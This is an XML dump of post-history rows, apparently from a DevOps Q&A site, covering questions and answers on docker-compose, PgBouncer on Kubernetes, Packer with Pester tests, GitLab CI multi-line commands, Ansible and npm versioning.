  <row Id="33835" PostHistoryTypeId="3" PostId="11043" RevisionGUID="cd31d44d-0afb-4671-ae61-2aea7ba33ad4" CreationDate="2020-03-10T18:13:34.317" UserId="20136" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33836" PostHistoryTypeId="2" PostId="11044" RevisionGUID="1e3355ed-525c-4fcd-936b-d11479a2bda2" CreationDate="2020-03-11T02:51:12.457" UserId="19963" Text="This is going to be an opinionated answer as both options are clearly possible.&#xD;&#xA;&#xD;&#xA;I would go with the first option you described for the following reason:&#xD;&#xA;&#xD;&#xA;It seems that at the moment you don't have a lot of microservices (otherwise you wouldn't be using docker-compose and would likely be doing k8s or at least docker swarm). Now, if your applications grows a lot - you would likely outgrow compose in any case, so it would be wasteful if you optimize for compose at this stage anticipating future complexity.&#xD;&#xA;&#xD;&#xA;So my take would be to go with option 1 for now which is much easier to implement. And when you need extra flexibility, likely you'd have other reasons to switch from docker-compose to something else." ContentLicense="CC BY-SA 4.0" />
  <row Id="33840" PostHistoryTypeId="2" PostId="11045" RevisionGUID="3e6c367a-6eb7-4b1a-807b-9ed649e428d5" CreationDate="2020-03-11T11:33:10.480" UserId="19563" Text="I'm wanting to deploy some sort of connection pooling within my applications across multiple nodes. Python naturally provides some pooling with the SQLAlchemy implementation; but obviously this probably does not scale as well as 1 central pool.&#xD;&#xA;&#xD;&#xA;As far as I see it PGBouncer can Sit within each pod, it can be running as its own pod, or it can be running as a daemonset which ties a PGBouncer instance to be running for each kube node.&#xD;&#xA;&#xD;&#xA;[![PGBouncer in container vs out][1]][1]&#xD;&#xA;&#xD;&#xA;How would you / how have you deployed PGBouncer in a similar environment? &#xD;&#xA;&#xD;&#xA;This question is equally relevant for twemproxy.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/vKlKw.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33841" PostHistoryTypeId="1" PostId="11045" RevisionGUID="3e6c367a-6eb7-4b1a-807b-9ed649e428d5" CreationDate="2020-03-11T11:33:10.480" UserId="19563" Text="Where does PGBouncer sit on a Kubernetes Cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="33842" PostHistoryTypeId="3" PostId="11045" RevisionGUID="3e6c367a-6eb7-4b1a-807b-9ed649e428d5" CreationDate="2020-03-11T11:33:10.480" UserId="19563" Text="&lt;kubernetes&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33843" PostHistoryTypeId="2" PostId="11046" RevisionGUID="e54ab2ae-2d48-454c-ad54-a67e267ea816" CreationDate="2020-03-11T13:20:30.683" UserId="17329" Text="Whenever I try to edit the provisioned dashboards I get an error stating that the provisioned dashboard can't be edited. I saw that there is an option to allow changes from the UI, but my questions is if there is a way to modify it in an automatic/code way. I want to be able to add additions to the mixin without interacting with that repo but a clone of mine." ContentLicense="CC BY-SA 4.0" />
  <row Id="33844" PostHistoryTypeId="1" PostId="11046" RevisionGUID="e54ab2ae-2d48-454c-ad54-a67e267ea816" CreationDate="2020-03-11T13:20:30.683" UserId="17329" Text="Pometheus-operator - modify Grafana mixin dashboard" ContentLicense="CC BY-SA 4.0" />
  <row Id="33845" PostHistoryTypeId="3" PostId="11046" RevisionGUID="e54ab2ae-2d48-454c-ad54-a67e267ea816" CreationDate="2020-03-11T13:20:30.683" UserId="17329" Text="&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33850" PostHistoryTypeId="2" PostId="11049" RevisionGUID="e1ff4492-f548-4719-9843-fa18d76c86c3" CreationDate="2020-03-11T16:10:17.843" UserId="16242" Text="You should use https://github.com/helm/charts/tree/master/stable/prometheus-operator helm chart , also you can write Grafana dashboard script that would create dashboard dynamically , can be update as well later on." ContentLicense="CC BY-SA 4.0" />
  <row Id="33851" PostHistoryTypeId="2" PostId="11050" RevisionGUID="e25f1c2a-7a41-468d-b437-70efa16f2271" CreationDate="2020-03-11T18:23:26.893" UserId="12831" Text="I'm building a packer pipeline and having an issue in getting the failure of a powershell provisioner step to fail the packer job itself. This is important as without failing the Packer job, the AMI would be published, despite the test failure.&#xD;&#xA;&#xD;&#xA;How I'm proceeding:&#xD;&#xA;&#xD;&#xA;1. Run provisioning setup steps&#xD;&#xA;2. Copy Pester Script to Remote machine&#xD;&#xA;3. Invoke inline powershell statement to `Invoke-Pester`&#xD;&#xA;4. Download the test results from the Pester remote run&#xD;&#xA;5. Next provisioning step parses the file to count errors and throws error upon issue count &gt; 0&#xD;&#xA;&#xD;&#xA;However, even with issue count being &gt; 0 it is not causing the pipeline to fail. Additionally some errors thrown in other provisioner steps also fail to cause the Packer job to stop. I've set `$ErrorActionPreference = 'Stop`` on one of them and it didn't seem to make any difference." ContentLicense="CC BY-SA 4.0" />
  <row Id="33852" PostHistoryTypeId="1" PostId="11050" RevisionGUID="e25f1c2a-7a41-468d-b437-70efa16f2271" CreationDate="2020-03-11T18:23:26.893" UserId="12831" Text="How do fail a Packer pipeline upon powershell provisioner pester test failure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33853" PostHistoryTypeId="3" PostId="11050" RevisionGUID="e25f1c2a-7a41-468d-b437-70efa16f2271" CreationDate="2020-03-11T18:23:26.893" UserId="12831" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33854" PostHistoryTypeId="5" PostId="11050" RevisionGUID="50f38fe3-6e23-4c7a-98d3-be2ba61dd769" CreationDate="2020-03-11T18:56:31.213" UserId="12831" Comment="code samples and additional clarity to issue" Text="I'm building a packer pipeline and having an issue in getting the failure of a powershell provisioner step to fail the packer job itself. This is important as without failing the Packer job, the AMI would be published, despite the test failure.&#xD;&#xA;&#xD;&#xA;How I'm proceeding:&#xD;&#xA;&#xD;&#xA;1. Run provisioning setup steps&#xD;&#xA;2. Copy Pester Script to Remote machine&#xD;&#xA;3. Invoke inline powershell statement to `Invoke-Pester`&#xD;&#xA;4. Download the test results from the Pester remote run&#xD;&#xA;5. Next provisioning step parses the file to count errors and throws error upon issue count &gt; 0&#xD;&#xA;&#xD;&#xA;However, even with issue count being &gt; 0 it is not causing the pipeline to fail. Additionally some errors thrown in other provisioner steps also fail to cause the Packer job to stop. I've set `$ErrorActionPreference = 'Stop'` on one of them and it didn't seem to make any difference.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's part of the provisioning workflow for packer. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```json&#xD;&#xA;...     {&#xD;&#xA;            &quot;type&quot;: &quot;file&quot;,&#xD;&#xA;            &quot;source&quot;: &quot;{{ template_dir }}/tests/windows-server.tests.ps1&quot;,&#xD;&#xA;            &quot;destination&quot;: &quot;{{ user `TEMP_DIRECTORY` }}/&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;type&quot;: &quot;powershell&quot;,&#xD;&#xA;            &quot;environment_vars&quot;: [&#xD;&#xA;                &quot;TEMP_DIRECTORY={{ user `TEMP_DIRECTORY` }}/&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;inline&quot;: [&#xD;&#xA;                &quot;if(-not (Get-InstalledModule Pester -MinimumVersion 4.10.1)){ Install-Module Pester -Scope AllUsers -AllowClobber -Force -verbose} &quot;,&#xD;&#xA;                &quot;Import-Module Pester -MinimumVersion 4.10.1 -Force -DisableNameChecking&quot;,&#xD;&#xA;                &quot;$null = New-Item -Path $ENV:TEMP_DIRECTORY -ItemType Directory -Force -ErrorAction SilentlyContinue&quot;,&#xD;&#xA;                &quot;$testresult = Invoke-Pester -Script (Join-Path $ENV:TEMP_DIRECTORY 'windows-server.tests.ps1') -OutputFile (Join-Path $ENV:TEMP_DIRECTORY 'TEST-pester-results.xml') -OutputFormat 'NUnitXML' -PassThru&quot;&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;type&quot;: &quot;file&quot;,&#xD;&#xA;            &quot;direction&quot;: &quot;download&quot;,&#xD;&#xA;            &quot;source&quot;: &quot;{{ user `TEMP_DIRECTORY` }}/TEST-pester-results.xml&quot;,&#xD;&#xA;            &quot;destination&quot;: &quot;{{ template_dir }}/artifacts/TEST-pester-results.xml&quot;&#xD;&#xA;        }, ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Once this part is done it's followed by this step which is some logic from this blog post: &#xD;&#xA;&#xD;&#xA;```json&#xD;&#xA;  {&#xD;&#xA;            &quot;environment_vars&quot;: [&#xD;&#xA;                &quot;TEMP_DIRECTORY={{ user `TEMP_DIRECTORY` }}/&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;script&quot;: &quot;./scripts/Get-TestResults.ps1&quot;,&#xD;&#xA;            &quot;type&quot;: &quot;powershell&quot;&#xD;&#xA;        },&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The `Get-TestResults.ps1` has the following function thanks to this article: [Testing Packer Images with Pester](https://samcogan.com/testing-packer-images-with-pester) written originally by [Sam Cogan](https://stackoverflow.com/users/8768/sam-cogan) and modified slightly by me.&#xD;&#xA;&#xD;&#xA;```powershell&#xD;&#xA;[cmdletbinding()]&#xD;&#xA;param()&#xD;&#xA;$TestFile = Join-Path $ENV:TEMP_DIRECTORY 'TEST-pester-results.xml'&#xD;&#xA;&#xD;&#xA;if (Test-Path -Path $TestFile -PathType Leaf)&#xD;&#xA;{&#xD;&#xA;    [xml]$testResults = Get-Content -Path $TestFile -Raw&#xD;&#xA;    $totalIssues=[int]$($testResults.'test-results'.errors) + [int]$($testResults.'test-results'.failures) + [int]$($testResults.'test-results'.invalid)&#xD;&#xA;    exit $totalIssues&#xD;&#xA;}&#xD;&#xA;else&#xD;&#xA;{&#xD;&#xA;    Write-Error &quot; Failed to find `$TestFile: $TestFile&quot;&#xD;&#xA;    Write-Warning &quot;$(Get-ChildItem $ENV:TEMP_DIRECTORY -Recurse | Format-Table -autosize -wrap | Out-String)&quot;&#xD;&#xA;    Write-Error &quot; Failed to find `$TestFile: $TestFile&quot;&#xD;&#xA;    exit 1  #not a good exit :-)&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33855" PostHistoryTypeId="6" PostId="11050" RevisionGUID="50f38fe3-6e23-4c7a-98d3-be2ba61dd769" CreationDate="2020-03-11T18:56:31.213" UserId="12831" Comment="code samples and additional clarity to issue" Text="&lt;azure-devops&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33856" PostHistoryTypeId="2" PostId="11051" RevisionGUID="71597e97-053c-44f7-8dad-873d04bb0f9b" CreationDate="2020-03-11T19:58:28.300" UserId="19585" Text="If your workloads are **exclusively** ephemeral, the answer is *probably not worth the infra management effort* of deploying K8S.&#xD;&#xA;&#xD;&#xA;Kubernetes is best suited for types of workloads that are continuous, with regular incoming traffic and that require zero downtime. That's why it enables you to do things like rolling updates and implementing advanced traffic management patterns like Canary releases.&#xD;&#xA;&#xD;&#xA;While you could have your cluster autoscale down to 0 worker nodes you would still incur in the cost of running the control plane node which requires running pods for the `apiserver`, the `controller-manager`, the `scheduler` and the `kube-proxy` in addition to running the `autoscaler` pods and log/metric collectors.&#xD;&#xA;&#xD;&#xA;Deploying and destroying the clusters on demand is definitely feasible if you manage the cluster with Infrastructure as Code and design your pipelines so that they can setup and teardown clusters with minimal human intervention (waiting for apiserver to come up, waiting for workers to register and come up, etc). An even more elegant way of approaching it would be with using the [Cluster API][1] although this would require a management cluster.&#xD;&#xA;&#xD;&#xA;Now, is it worth dealing with all the complexity inherent to K8S only to benefit from the downscaling and only to run occasional workloads? I'd say is probably best to manage your instances as regular autoscaling groups.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes-sigs/cluster-api" ContentLicense="CC BY-SA 4.0" />
  <row Id="33857" PostHistoryTypeId="2" PostId="11052" RevisionGUID="73163658-67af-448d-8ab3-6be783a79f7e" CreationDate="2020-03-11T20:30:14.640" UserId="19585" Text="Your interpretation is correct:&#xD;&#xA;&#xD;&#xA;&gt; My current understanding is that a machine represents a raw physical or virtual machine; just the computational resources like cpu, memory and storage. Nodes, then, would represent a machine that is configured for using with OpenShift, that is, a machine that contains the services necessary to run pods and is managed by the master components.&#xD;&#xA;&#xD;&#xA;The differences arise on the level of abstraction.&#xD;&#xA;&#xD;&#xA;- A Node in OpenShift is exactly the same thing as a Kubernetes node. It refers to the abstraction of a worker/master &quot;Node&quot; in a &quot;Cluster&quot;. The Node abstraction only exists within the boundaries of a running cluster.&#xD;&#xA;&#xD;&#xA;- A Machine is an abstraction introduced by the [Cluster API][1] which is an ongoing effort to allow deploying K8S clusters using a declarative approach. OpenShift is currently adopting the Cluster API hence they expect you to define the host infrastructure required to run your Nodes using the Machine spec.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes-sigs/cluster-api" ContentLicense="CC BY-SA 4.0" />
  <row Id="33858" PostHistoryTypeId="2" PostId="11053" RevisionGUID="842b7140-d93a-4389-8722-0738de1444a7" CreationDate="2020-03-11T20:41:43.603" UserId="20172" Text="    aws ec2 describe-volumes --query Volumes[*].VolumeId --filters Name=encrypted,Values=true" ContentLicense="CC BY-SA 4.0" />
  <row Id="33859" PostHistoryTypeId="2" PostId="11054" RevisionGUID="c4d5277e-d9cf-442a-9dfb-acb5772b9dad" CreationDate="2020-03-11T21:07:32.477" UserId="12831" Text="After resolving some syntax issues, I found the true cause of failing to throw the error.&#xD;&#xA;In my prior usage I was doing this through Inspec provisioner, which handled the exit codes. &#xD;&#xA;&#xD;&#xA;If you are using Pester and having to do the workaround I described above, then to ensure error's in a step are thrown you need to throw an exit code other than 0. &#xD;&#xA;&#xD;&#xA;The two steps I took that seem to work fine (I like some emoji fire in my logs )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```powershell&#xD;&#xA;$ErrorActionPreference = 'Stop'&#xD;&#xA;&#xD;&#xA;try &#xD;&#xA;{&#xD;&#xA;# Do code here&#xD;&#xA;}&#xD;&#xA;catch&#xD;&#xA;{&#xD;&#xA;   Write-Error &quot; Failed to do something important `$TestFile: $TestFile&quot;&#xD;&#xA;  exit 1  # packer will recognize failure at this point&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Note that you will want to make sure your Azure DevOps Pipeline has the following settings to publish test results regardless of failing:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# ℹ  Using Invoke-Build to call Packer. You can do this with a packer extension or any other way you prefer&#xD;&#xA;- task: PowerShell@2&#xD;&#xA;  displayName: Run Packer Configuration&#xD;&#xA;  inputs:&#xD;&#xA;      filePath: build/build.ps1&#xD;&#xA;      arguments: '-Task PackerBuild -Configuration $(Configuration)'&#xD;&#xA;      errorActionPreference: 'Continue'&#xD;&#xA;      pwsh: true&#xD;&#xA;  continueOnError: true #I want to publish the test results regardless&#xD;&#xA;&#xD;&#xA;- task: PublishTestResults@2&#xD;&#xA;  displayName: Publish Pester Tests&#xD;&#xA;  inputs:&#xD;&#xA;      testResultsFormat: 'NUnit'&#xD;&#xA;      testResultsFiles: '**/TEST-*.xml'&#xD;&#xA;  condition: succeededOrFailed()&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33860" PostHistoryTypeId="2" PostId="11055" RevisionGUID="e3d85c2a-95b2-4894-821c-a2f87dd14a60" CreationDate="2020-03-11T23:19:28.213" UserId="7118" Text="I have a project that looks like this: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;SOME_MONOREPO, managed by lerna                           &#xD;&#xA;&#xD;&#xA;- package-a&#xD;&#xA;- package-b - depends on package-a, package-c&#xD;&#xA;- package-c - is currently private, so not published as npm package. &#xD;&#xA;When package-b builds, it accesses package-c directly via symlink. &#xD;&#xA;As we move forward, we'll transition this to published packages like package-a. &#xD;&#xA;&#xD;&#xA;ANOTHER_PROJECT&#xD;&#xA;&#xD;&#xA;- package-foo- depends on SOME_MONOREPO.package-a&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, say I'm doing some work on package-a, this could be a major, minor or patch change. &#xD;&#xA;&#xD;&#xA;There are a few possible development flows: &#xD;&#xA;&#xD;&#xA;- The simplest: the work just occurs on package-a, I write tests for it, and then when ready version bump and push to master. &#xD;&#xA;- I'm doing work on package-a, but also updating package-b to adapt to the breaking changes/use the new functionality. In this scenario version bump isn't strictly necessary to do the code, because lerna's symlinks will still let package-b access the package-a code. &#xD;&#xA;- I'm also doing work on package-foo. In this case I need to be publishing to npm in order to access the code. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So, I'm thinking that nightly/unstable/prerelease builds are warranted here. That is - I build some functionality on package-a, build an unstable artefact, and then package-foo can use it, see if it's fit for purpose. &#xD;&#xA;&#xD;&#xA;At some point though - a decision needs to be made whether this is a major, minor or patch update. &#xD;&#xA;&#xD;&#xA;The question is - when should this happen? Does the developer, when making changes, decide on their first PR to develop each time what the version bump is? (And it not being a release PR, the CI automatically publishes it with the 'unstable' appendix, when it is release the unstable appendix is removed). What about if another developer is simultaneously working on the same package?&#xD;&#xA;&#xD;&#xA;Is there a way to not think about version bumps until formal release? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33861" PostHistoryTypeId="1" PostId="11055" RevisionGUID="e3d85c2a-95b2-4894-821c-a2f87dd14a60" CreationDate="2020-03-11T23:19:28.213" UserId="7118" Text="Best practise/standard practise for semantic versioning in development" ContentLicense="CC BY-SA 4.0" />
  <row Id="33862" PostHistoryTypeId="3" PostId="11055" RevisionGUID="e3d85c2a-95b2-4894-821c-a2f87dd14a60" CreationDate="2020-03-11T23:19:28.213" UserId="7118" Text="&lt;npm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33863" PostHistoryTypeId="5" PostId="11044" RevisionGUID="466a821b-9773-49e1-b015-97851f23f895" CreationDate="2020-03-11T23:28:44.103" UserId="19963" Comment="fix: typo in &quot;applications&quot;, should be &quot;application&quot;" Text="This is going to be an opinionated answer as both options are clearly possible.&#xD;&#xA;&#xD;&#xA;I would go with the first option you described for the following reason:&#xD;&#xA;&#xD;&#xA;It seems that at the moment you don't have a lot of microservices (otherwise you wouldn't be using docker-compose and would likely be doing k8s or at least docker swarm). Now, if your application grows a lot - you would likely outgrow compose in any case, so it would be wasteful if you optimize for compose at this stage anticipating future complexity.&#xD;&#xA;&#xD;&#xA;So my take would be to go with option 1 for now which is much easier to implement. And when you need extra flexibility, likely you'd have other reasons to switch from docker-compose to something else." ContentLicense="CC BY-SA 4.0" />
  <row Id="33865" PostHistoryTypeId="2" PostId="11056" RevisionGUID="d34e8bb4-2e10-48d2-b55c-2e8febf09fe7" CreationDate="2020-03-12T06:28:22.023" UserId="19071" Text="I have a very long command in `.gitlab-ci.yml` file to ssh to jump host then use `rsync` to sync files from my repo to destination host (it does not have public ip so I need to access it via jump host).&#xD;&#xA;&#xD;&#xA;Here is my `.gitlab-ci`:&#xD;&#xA;```&#xD;&#xA;image: ubuntu&#xD;&#xA;before_script:&#xD;&#xA;  - 'which ssh-agent || ( apt-get update -y &amp;&amp; apt-get install openssh-client rsync git -y )'&#xD;&#xA;  - mkdir -p ~/.ssh&#xD;&#xA;  - chmod 700 ~/.ssh&#xD;&#xA;  - echo -e &quot;$PRIVATE_KEY&quot; &gt; ~/.ssh/id_rsa&#xD;&#xA;  - chmod 600 ~/.ssh/id_rsa&#xD;&#xA;  - '[[ -f /.dockerenv ]] &amp;&amp; echo -e &quot;Host *\n\tStrictHostKeyChecking no\n\n&quot; &gt; ~/.ssh/config'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;SSH:&#xD;&#xA;  tags:&#xD;&#xA;    - mytag&#xD;&#xA;  script:&#xD;&#xA;  - ssh ubuntu@host &quot;which ssh-agent || ( apt-get update -y &amp;&amp; apt-get install openssh-client rsync git -y ) &amp;&amp; ssh ubuntu@192.168.1.2 &quot;mkdir -p ~/test&quot; &amp;&amp; rsync -a --relative ~/test ubuntu@192.168.1.2:~/test/.gitlab-ci.yml&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The command here is so long:&#xD;&#xA;```&#xD;&#xA; ssh ubuntu@host &quot;which ssh-agent || ( apt-get update -y &amp;&amp; apt-get install rsync git -y ) &amp;&amp; ssh ubuntu@192.168.1.2 &quot;mkdir -p ~/test&quot; &amp;&amp; rsync -a --relative ~/test ubuntu@192.168.1.2:~/test/.gitlab-ci.yml&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Let me explain:&#xD;&#xA;&#xD;&#xA; - First it `ssh` to `host` then install `rsync` if it does not exist, then it ssh to my private server `192.168.1.2` and then sync my file named `.gitlab-ci.yml` (the file from my repo in my Gitlab server) to folder `test`&#xD;&#xA;&#xD;&#xA;I just wonder if there is any way to break long command above to multi lines command?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33866" PostHistoryTypeId="1" PostId="11056" RevisionGUID="d34e8bb4-2e10-48d2-b55c-2e8febf09fe7" CreationDate="2020-03-12T06:28:22.023" UserId="19071" Text="Is there any way to break long command in to multi lines in GitlabCI" ContentLicense="CC BY-SA 4.0" />
  <row Id="33867" PostHistoryTypeId="3" PostId="11056" RevisionGUID="d34e8bb4-2e10-48d2-b55c-2e8febf09fe7" CreationDate="2020-03-12T06:28:22.023" UserId="19071" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33868" PostHistoryTypeId="5" PostId="11056" RevisionGUID="a1ebed2c-e962-484c-9ab8-0d01fdee6946" CreationDate="2020-03-12T06:36:36.397" UserId="19071" Comment="added 83 characters in body" Text="I have a very long command in `.gitlab-ci.yml` file to ssh to jump host then use `rsync` to sync files from my repo to destination host (it does not have public ip so I need to access it via jump host).&#xD;&#xA;&#xD;&#xA;Here is my `.gitlab-ci`:&#xD;&#xA;```&#xD;&#xA;image: ubuntu&#xD;&#xA;before_script:&#xD;&#xA;  - 'which ssh-agent || ( apt-get update -y &amp;&amp; apt-get install openssh-client rsync git -y )'&#xD;&#xA;  - mkdir -p ~/.ssh&#xD;&#xA;  - chmod 700 ~/.ssh&#xD;&#xA;  - echo -e &quot;$PRIVATE_KEY&quot; &gt; ~/.ssh/id_rsa&#xD;&#xA;  - chmod 600 ~/.ssh/id_rsa&#xD;&#xA;  - '[[ -f /.dockerenv ]] &amp;&amp; echo -e &quot;Host *\n\tStrictHostKeyChecking no\n\n&quot; &gt; ~/.ssh/config'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;SSH:&#xD;&#xA;  tags:&#xD;&#xA;    - mytag&#xD;&#xA;  script:&#xD;&#xA;  - ssh ubuntu@host &quot;which ssh-agent || ( apt-get update -y &amp;&amp; apt-get install openssh-client rsync git -y ) &amp;&amp; ssh ubuntu@192.168.1.2 &quot;mkdir -p /home/ubuntu/test&quot; &amp;&amp; rsync /home/ubuntu/test/.gitlab-ci.yml ubuntu@192.168.1.2:/home/ubuntu/test/.gitlab-ci.yml&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The command here is so long:&#xD;&#xA;```&#xD;&#xA; ssh ubuntu@host &quot;which ssh-agent || ( apt-get update -y &amp;&amp; apt-get install openssh-client rsync git -y ) &amp;&amp; ssh ubuntu@192.168.1.2 &quot;mkdir -p /home/ubuntu/test&quot; &amp;&amp; rsync /home/ubuntu/test/.gitlab-ci.yml ubuntu@192.168.1.2:/home/ubuntu/test/.gitlab-ci.yml&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Let me explain it:&#xD;&#xA;&#xD;&#xA; - First it `ssh` to `host` then install `rsync` if it does not exist, then it ssh to my private server `192.168.1.2` and then sync my file named `.gitlab-ci.yml` (the file from my repo in my Gitlab server) to folder `test`&#xD;&#xA;&#xD;&#xA;I just wonder if there is any way to break long command above to multi lines command?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33869" PostHistoryTypeId="4" PostId="11056" RevisionGUID="a1ebed2c-e962-484c-9ab8-0d01fdee6946" CreationDate="2020-03-12T06:36:36.397" UserId="19071" Comment="added 83 characters in body" Text="Is there any way to break long command into multi lines in GitlabCI" ContentLicense="CC BY-SA 4.0" />
  <row Id="33870" PostHistoryTypeId="2" PostId="11057" RevisionGUID="ea254526-eed6-450c-9fd0-0c32bd0b031a" CreationDate="2020-03-12T07:01:56.513" UserId="20042" Text="Since `.gitlab-ci.yml` is a `Yaml` file, then just use it's syntax.&#xD;&#xA;&#xD;&#xA;For example, you may use ` &gt; `:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;image: ubuntu&#xD;&#xA;before_script:&#xD;&#xA;  - 'which ssh-agent || ( apt-get update -y &amp;&amp; apt-get install openssh-client rsync git -y )'&#xD;&#xA;  - mkdir -p ~/.ssh&#xD;&#xA;  - chmod 700 ~/.ssh&#xD;&#xA;  - echo -e &quot;$PRIVATE_KEY&quot; &gt; ~/.ssh/id_rsa&#xD;&#xA;  - chmod 600 ~/.ssh/id_rsa&#xD;&#xA;  - '[[ -f /.dockerenv ]] &amp;&amp; echo -e &quot;Host *\n\tStrictHostKeyChecking no\n\n&quot; &gt; ~/.ssh/config'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;SSH:&#xD;&#xA;  tags:&#xD;&#xA;    - mytag&#xD;&#xA;  script: &gt; &#xD;&#xA;  - ssh ubuntu@host &quot;which ssh-agent || &#xD;&#xA;    ( apt-get update -y &amp;&amp; apt-get install openssh-client rsync git -y ) &amp;&amp; &#xD;&#xA;    ssh ubuntu@192.168.1.2 &quot;mkdir -p /home/ubuntu/test&quot; &amp;&amp; &#xD;&#xA;    rsync /home/ubuntu/test/.gitlab-ci.yml ubuntu@192.168.1.2:/home/ubuntu/test/.gitlab-ci.yml&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;P.s. there is a great resource about `yaml` multilines: [YAML Multiline Strings](https://yaml-multiline.info/)&#xD;&#xA;&#xD;&#xA;P.p.s. I'd suggest to lint your `.gitlab-ci.yml` using GitLab UI" ContentLicense="CC BY-SA 4.0" />
  <row Id="33871" PostHistoryTypeId="5" PostId="11053" RevisionGUID="4ceba500-7437-40b7-8e3c-1f62f87e1d5d" CreationDate="2020-03-12T08:09:38.543" UserId="354" Comment="Add a sentence to make the answer a bit less bare" Text="This can be done using the AWS CLI:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-volumes --query Volumes[*].VolumeId --filters Name=encrypted,Values=true" ContentLicense="CC BY-SA 4.0" />
  <row Id="33872" PostHistoryTypeId="2" PostId="11058" RevisionGUID="b068ba4a-ed72-40e5-8507-ab3341e5ea5d" CreationDate="2020-03-12T09:24:06.453" UserId="20182" Text="azhar@ubuntu:~$ ansible 192.168.254.150 -m ping&#xD;&#xA;[WARNING]: Unable to parse /etc/ansible/hosts enable callback plugins as an&#xD;&#xA;inventory source&#xD;&#xA;[WARNING]: Unable to parse /etc/ansible/they can output to stdout but cannot be&#xD;&#xA;'stdout' type. callback_whitelist = timer as an inventory source&#xD;&#xA;[WARNING]: Unable to parse /etc/ansible/mail as an inventory source&#xD;&#xA;[WARNING]: No inventory was parsed, only implicit localhost is available&#xD;&#xA;[WARNING]: provided hosts list is empty, only localhost is available. Note that&#xD;&#xA;the implicit localhost does not match 'all'&#xD;&#xA;[WARNING]: Could not match supplied host pattern, ignoring: 192.168.254.150&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33873" PostHistoryTypeId="1" PostId="11058" RevisionGUID="b068ba4a-ed72-40e5-8507-ab3341e5ea5d" CreationDate="2020-03-12T09:24:06.453" UserId="20182" Text="Can't ping client on ansible ," ContentLicense="CC BY-SA 4.0" />
  <row Id="33874" PostHistoryTypeId="3" PostId="11058" RevisionGUID="b068ba4a-ed72-40e5-8507-ab3341e5ea5d" CreationDate="2020-03-12T09:24:06.453" UserId="20182" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33875" PostHistoryTypeId="2" PostId="11059" RevisionGUID="8341ee3e-1cff-4984-8948-c9eb56e72898" CreationDate="2020-03-12T10:31:26.320" UserId="11440" Text="Try this, to run an adhoc command with IP address&#xD;&#xA;&#xD;&#xA;    ansible all -i 192.168.254.150, -m ping&#xD;&#xA;    192.168.254.150 | SUCCESS =&gt; {&#xD;&#xA;        &quot;changed&quot;: false, &#xD;&#xA;        &quot;ping&quot;: &quot;pong&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;From man:&#xD;&#xA;&#xD;&#xA;&gt;  -i INVENTORY, --inventory=INVENTORY, --inventory-file=INVENTORY&#xD;&#xA;&gt;                        specify inventory host path or **comma separated host**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But as per the errors you have shared, it seems you don't have a proper host file. " ContentLicense="CC BY-SA 4.0" />
  <row Id="33876" PostHistoryTypeId="6" PostId="11055" RevisionGUID="828d8694-4912-4b63-9bdf-22f745b74a18" CreationDate="2020-03-12T12:14:45.493" UserId="15792" Comment="Added versioning tag" Text="&lt;versioning&gt;&lt;npm&gt;" ContentLicense="CC BY-SA 4.0" />
